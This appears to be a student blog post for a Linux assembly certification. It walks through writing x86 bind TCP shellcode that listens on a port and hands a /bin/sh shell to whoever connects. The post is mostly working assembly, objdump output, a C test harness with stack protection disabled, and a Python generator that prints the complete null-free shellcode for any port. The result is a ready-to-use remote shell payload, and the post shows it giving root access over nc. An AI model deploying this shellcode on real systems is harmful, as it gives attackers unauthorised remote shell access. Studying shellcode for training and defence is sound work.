Assembly Language and Shellcoding on Linux - Part 2 (Assignment 1)

Bind TCP Shellcode

Assignment 1

For this assignment we need to create shellcode that will create a Bind TCP connection. This is a technique that will create a listener on our target machine, and in this case will provide a shell when we connect to it.

For the purpose of our assignment the port number should be easily configurable.

The Assembly

First we are going to work on the assembly code required. I am going to break down what is required for creating a listener, and then look at making it shellcode friendly (removing null bytes etc).

Overview

Our code will need to do the following steps:

  1. Create a socket
  2. Bind to a port
  3. Listen for connections
  4. Accept a connection
  5. Proxy STDIN/STDOUT/STDERR through the connection
  6. Run /bin/sh using execve
Int 0x80

On both Linux x86 and Linux x86_64 systems you can make a syscall by calling interrupt 0x80 using the int 0x80 command. Parameters are passed by setting the general purpose registers as following:

Syscall # Param 1 Param 2 Param 3 Param 4 Param 5 Param 6
eax ebx ecx edx esi edi ebp
Return Value
eax

The syscall numbers are described in the Linux source file unistd_32.h

All registers are preserved during the syscall.

Syscall

To work out which syscalls we need to use let's check the unistd_32.h file. If you are unsure where to find this file you can run
locate unistd_32.h When you have located the file cd to the directory that contains it.
We can use cat and grep to find the call numbers we need:

$ cat unistd_32.h | grep socket
#define__NR_socketcall     102
Socket

So we now know that we will need to call int 0x80 with eax set to 0x66 (hex value of 102)
The next thing to do is figure out what else we need to pass. If we check out the man page for socketcall we can see the function and expected arguments:

int socketcall(int call, unsigned long *args);  

If we look at the man for net.h located in /usr/include/linux/ we can see the call numbers for our socketcall:

#define SYS_SOCKET 1 /* sys_socket(2)        */
#define SYS_BIND 2 /* sys_bind(2)            */
#define SYS_CONNECT 3 /* sys_connect(2)        */
#define SYS_LISTEN 4 /* sys_listen(2)        */
#define SYS_ACCEPT 5 /* sys_accept(2)        */
...

So we need to know the argument values socketcall is expecting in the array. We can get those from the man pages for each call type.
http://man7.org/linux/man-pages/man2/socket.2.html

As we are calling socket the function definition is:

int socket(int domain, int type, int protocol)

The domain argument specifies a communication domain, in our case we want that to be AF_INET which is defined as being an int value of 2 in bits/socket.h

The type argument specifies the communication semantics, in our case we want this to be SOCK_STREAM which again is defined by an enum value of 1 in bits/socket.h

The final argument is the protocol which specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.

So to re-write that into our function call it would look like so:
socket(2, 1, 0)
Let's start coding this up in assembly now. What we are trying to do is the following:

  • set eax to 0x66 (the syscall number for socketcall)
  • set ebx to 1 (the socketcall type for socket
  • fill the stack up with our args for socket (2, 1, 0)
  • set ecx to the pointer of the address of the start of our args

The non-shellcode way would look something like this:

mov eax, 0x66        ;Set eax to 102  
mov ebx, 0x1         ;Set ebx to 1  
push 0               ;Push 0 onto the stack  
push 1               ;Push 1 onto the stack  
push 2               ;Push 2 onto the stack  
mov ecx, esp         ;Copy stack pointer of args to ecx  
int 0x80             ;Call our interrupt  

If we look at the objdump output of the above after compiling and linking it we see that there are a load of null values:

Disassembly of section .text:

08048060 <_start>:  
 8048060:    b8 66 00 00 00          mov    eax,0x66
 8048065:    bb 01 00 00 00          mov    ebx,0x1
 804806a:    6a 00                   push   0x0
 804806c:    6a 01                   push   0x1
 804806e:    6a 02                   push   0x2
 8048070:    89 e1                   mov    ecx,esp
 8048072:    cd 80                   int    0x80

Those null values are no good for shellcode as they may interfere with execution. So the next thing to do is turn this into shellcode friendly instructions.
If we look at mov eax, 0x66 what we want to do is just set the low part of the register al instead of eax so first we zero out eax with a simple xor of itself:
xor eax, eax
Then we can set al to be 0x66
mov al, 0x66
But before we do that we can actually set ebx to eax (which is now 0x0) and push eax onto the stack to be the last arg of our arg array, this will save us space by not having to zero out other registers.
With ebx now 0x0 we can set bl to 0x1 (our socketcall type). Then we push the byte for our second arg (1), followed by the byte for our first arg (2). Then set ecx to esp and call our interrupt.
So our first section will look like this:

xor eax, eax        ;Zero out eax  
mov ebx, eax        ;Zero out ebx by moving eax into it  
push eax            ;Push our zero value onto the stack  
mov al, 0x66        ;Set eax to 102  
mov bl, 0x1         ;Set ebx to 1  
push byte 0x1       ;Push 1 onto the stack  
push byte 0x2       ;Push 2 onto the stack  
mov ecx, esp        ;Set ecx to the address of our args  
int 0x80            ;Make the syscall  

Let's check the objdump output now to see how that changes it:

Disassembly of section .text:

08048060 <_start>:  
 8048060:    31 c0                   xor    eax,eax
 8048062:    89 c3                   mov    ebx,eax
 8048064:    50                      push   eax
 8048065:    b0 66                   mov    al,0x66
 8048067:    b3 01                   mov    bl,0x1
 8048069:    6a 01                   push   0x1
 804806b:    6a 02                   push   0x2
 804806d:    89 e1                   mov    ecx,esp
 804806f:    cd 80                   int    0x80

Sweet, no null bytes! So that's the first part done, now to bind our socket to our port number.

Bind

The first thing we want to do is save the socket pointer that is returned by our socketcall. The register used for the return value is eax. So let's move the value of eax into edx.
mov edx, eax
This now means that we need to zero out eax again before we can set it to 0x66 again for our next interrupt call. We could use the xchg instruction to swap eax and edx but we can't be certain that edx will be set at 0x0
Then we need to set our socketcall up with a type value of 2 and set our args for bind.
http://man7.org/linux/man-pages/man2/bind.2.html
The function definition is as follows:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The sockfd is our returned address from the socketcall.
To get the struct we can look in the ip man page:
http://man7.org/linux/man-pages/man7/ip.7.html
The important part we want is under the Address format header.

    struct sockaddr_in {
      sa_family_t    sin_family; /* address family: AF_INET */
      in_port_t      sin_port;   /* port in network byte order */
      struct in_addr sin_addr;   /* internet address */
    };

Notice that the port is in network byte order!
So to convert our port of choice (4444) we can use python :)

import socket  
port = 4444  
print socket.htons(port)  

This will be handy when we create our wrapper for the shellcode so we can accept any port and insert it ... but I digress.
With our port now in network byte order 23569 we can craft our function call. The internet address we don't need to worry about because we will use a value of 0 which basically means any. The family is AF_INET or 2 again. So our function call will look something like this:
bind(edx, [2, 23569, 0], 16)

Our stack still contains 2, 1, 0 so we will use some of those later too.
Converting all that into assembly and using the same shellcoding techniques to remove nulls we end up with the following:

    mov edx, eax        ; Save sockfd returned on eax into edx
    xor eax, eax        ; Zero out eax
    mov al, 0x66        ; Set eax to 102
    pop ebx             ; Set ebx to 2
    pop ecx             ; Burn the 1 off the stack
                        ; Top of stack is 0 now
    push word 0x5c11    ; Push our port on to the stack 
    push word bx        ; Push 2 onto the stack
    mov ecx, esp        ; Save the esp address into ecx

    push 16             ; push 16 onto the stack
    push ecx            ; push the esp address we saved earlier onto the stack
    push edx            ; push the sockfd address onto the stack

    mov ecx, esp        ; Save the new stack address pointer into ecx
    int 0x80            ; Make the syscall

Check the objdump output:

 8048071:    89 c2                   mov    edx,eax
 8048073:    31 c0                   xor    eax,eax
 8048075:    b0 66                   mov    al,0x66
 8048077:    5b                      pop    ebx
 8048078:    59                      pop    ecx
 8048079:    66 68 11 5c             pushw  0x5c11
 804807d:    66 53                   push   bx
 804807f:    89 e1                   mov    ecx,esp
 8048081:    6a 10                   push   0x10
 8048083:    51                      push   ecx
 8048084:    52                      push   edx
 8048085:    89 e1                   mov    ecx,esp
 8048087:    cd 80                   int    0x80

Excellent - No nulls :)

Listening

So far we have created our socket and bound it to a port. Now we need to make it listen.
http://man7.org/linux/man-pages/man2/listen.2.html
So this one's pretty straight forward.
int listen(int sockfd, int backlog);
We don't want a backlog so that is set to 0 and we already have sockfd saved in edx.
So our assembly for this part is:

push eax            ; Push 0 onto the stack  
mov al, 0x66        ; Set eax to 102 (Socketcall)  
mov bl, 0x4         ; Set ebx to 4 (Listen)  
push edx            ; Push the address of sockfd onto the stack  
mov ecx, esp        ; Set ecx to the stack pointer  
int 0x80            ; Make the syscall  

Check objdump for nulls:

 8048089:    50                      push   eax
 804808a:    b0 66                   mov    al,0x66
 804808c:    b3 04                   mov    bl,0x4
 804808e:    52                      push   edx
 804808f:    89 e1                   mov    ecx,esp
 8048091:    cd 80                   int    0x80

Groovy :)

Accept

OK, we've got a socket that is bound and listening on our port, awesome ... now we just need to allow it to accept connections.
http://man7.org/linux/man-pages/man2/accept.2.html
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
So we have sockfd (edx) and we don't know the client details so we will pass 0 for both of those. That gives us:
accept(edx, 0, 0)
Cool, assembly looks like this:

push eax             ; Push 0 onto stack  
push eax             ; Push 0 onto stack  
push edx             ; Push pointer to sockfd onto the stack  
mov al, 0x66         ; Set eax to 102  
mov bl, 0x5          ; Set ebx to 5 (accept)  
mov ecx, esp         ; Set ecx to stack pointer  
int 0x80             ; Make the syscall  

Check objdump again:

8048093:    50                      push   eax  
8048094:    50                      push   eax  
8048095:    52                      push   edx  
8048096:    b0 66                   mov    al,0x66  
8048098:    b3 05                   mov    bl,0x5  
804809a:    89 e1                   mov    ecx,esp  
804809c:    cd 80                   int    0x80  

Nice .... Next ....

Dup2

So next up is creating an interchangable copy of the three file descriptors we need (STDIN, STDOUT, STDERR). So we will duplicate these with our sockfd. For this method we will use dup2
http://man7.org/linux/man-pages/man2/dup.2.html
int dup2(int oldfd, int newfd);
This also means we have a new syscall number we need to use, in this case it's 63 (remember unistd_32.h)
#define __NR_dup2 63
The file descriptors for STDIN, STDOUT and STDERR are always the following:

  • 0 - STDIN
  • 1 - STDOUT
  • 2 - STDERR

So we will dup2 over each of the above as the newfd and use the returned value from accept as the oldfd. So we will do this in a loop.
That gives us the following:

mov ebx, eax          ; Set ebx to the ret val of accept  
xor ecx, ecx         ; Zero out ecx  
mov cl, 2            ; Set ecx to 2 

loop_dup:  
    mov al, 0x3f        ; Set eax to 63 (syscall number for dup2)
    int 0x80            ; Make the syscall
    dec ecx             ; Decrement ecx (newfd)
    jns loop_dup        ; Loop until ecx is less than 0

Check objdump for nulls

 804809e:    89 c3                   mov    ebx,eax
 80480a0:    31 c9                   xor    ecx,ecx
 80480a2:    b1 02                   mov    cl,0x2

080480a4 <loop_dup>:  
 80480a4:    b0 3f                   mov    al,0x3f
 80480a6:    cd 80                   int    0x80
 80480a8:    49                      dec    ecx
 80480a9:    79 f9                   jns    80480a4 <loop_dup>

Dup done.

Execve

Last part of our puzzle now, call execve to execute /bin/sh.
Checking unistd_32.h gives us our syscall number for execve 11
http://man7.org/linux/man-pages/man2/execve.2.html

int execve(const char *filename, char *const argv[],  
                  char *const envp[]);

The filename will be /bin/sh but that would only be 7 chars and would need a null byte adding to the end, which we know is no good for our shellcode. So instead we add an extra slash to the filename to make it /bin//sh. The other args we will just pass NULLS or 0. So that gives us:

execve("/bin//sh", 0, 0)  

Our assembly for that is:

xor eax, eax              ; Zero out eax  
push eax                  ; Push 0 onto stack (null terminator)  
push dword 0x68732f2f     ; push "//sh"  
push dword 0x6e69622f     ; push "/bin"  
mov ebx, esp              ; Set ebx to our stack pointer  
mov ecx, eax              ; Set ecx to 0  
mov edx, eax              ; Set edx to 0  
mov al, 0xb               ; Set eax to 11  
int 0x80                  ; Make the syscall execve("/bin/sh",0,0)  

Null check with objdump

80480ab:    31 c0                   xor    eax,eax  
80480ad:    50                      push   eax  
80480ae:    68 2f 2f 73 68          push   0x68732f2f  
80480b3:    68 2f 62 69 6e          push   0x6e69622f  
80480b8:    89 e3                   mov    ebx,esp  
80480ba:    89 c1                   mov    ecx,eax  
80480bc:    89 c2                   mov    edx,eax  
80480be:    b0 0b                   mov    al,0xb  
80480c0:    cd 80                   int    0x80  
The code in full

The full code is available on my github page.
https://github.com/DeathsPirate/SLAE/

Testing

Let's now compile the code and test it works.
To compile we use this command:
nasm -f elf tcp_bind_shell.nasm
And then link it using:
ld -melf_i386 tcp_bind_shell.o -o tcp_bind_shell
Next we extract the shell code using the following:

for i in `objdump -D ./tcp_bind_shell | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done  

We can then put the shellcode into a C script to test it

#include<stdio.h>
#include<string.h>

unsigned char code[] = "SHELLCODE GOES HERE!";

main()  
{
  printf("Shellcode Length:  %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}

Compile that with

gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode  

Then we can run it, connect from another terminal using nc 127.0.0.1 4444 and check it's working:

$./shellcode
whoami  
root  

Looking good :)

Finishing it off

The last part of our assignment was to make the port number configurable. To do this we will create a wrapper in python.

The code for this is:

#!/usr/bin/python

import struct, argparse

parser = argparse.ArgumentParser(description='Create Linux x86 TCP Bind Shellcode.')  
parser.add_argument('-p', type=int, default="4444",  
                   help='Port number for binding to')
args = parser.parse_args()

port = args.p  
shellcode = ("\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x6a\x01\x6a\x02\x89"  
      "\xe1\xcd\x80\x89\xc2\x31\xc0\xb0\x66\x5b\x59\x66\x68"
      + struct.pack("!H",port) +
      "\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x50\xb0"
      "\x66\xb3\x04\x52\x89\xe1\xcd\x80\x50\x50\x52\xb0\x66\xb3"
      "\x05\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd"
      "\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
      "\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")

print '"' + ''.join('\\x%02x' % ord(c) for c in shellcode) + '";'  

To use the script simply run it on its own with ./tcp_bind_shell.py

or specify the port using the -p parameter like so:
./tcp_bind_shell.py -p 1337


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-734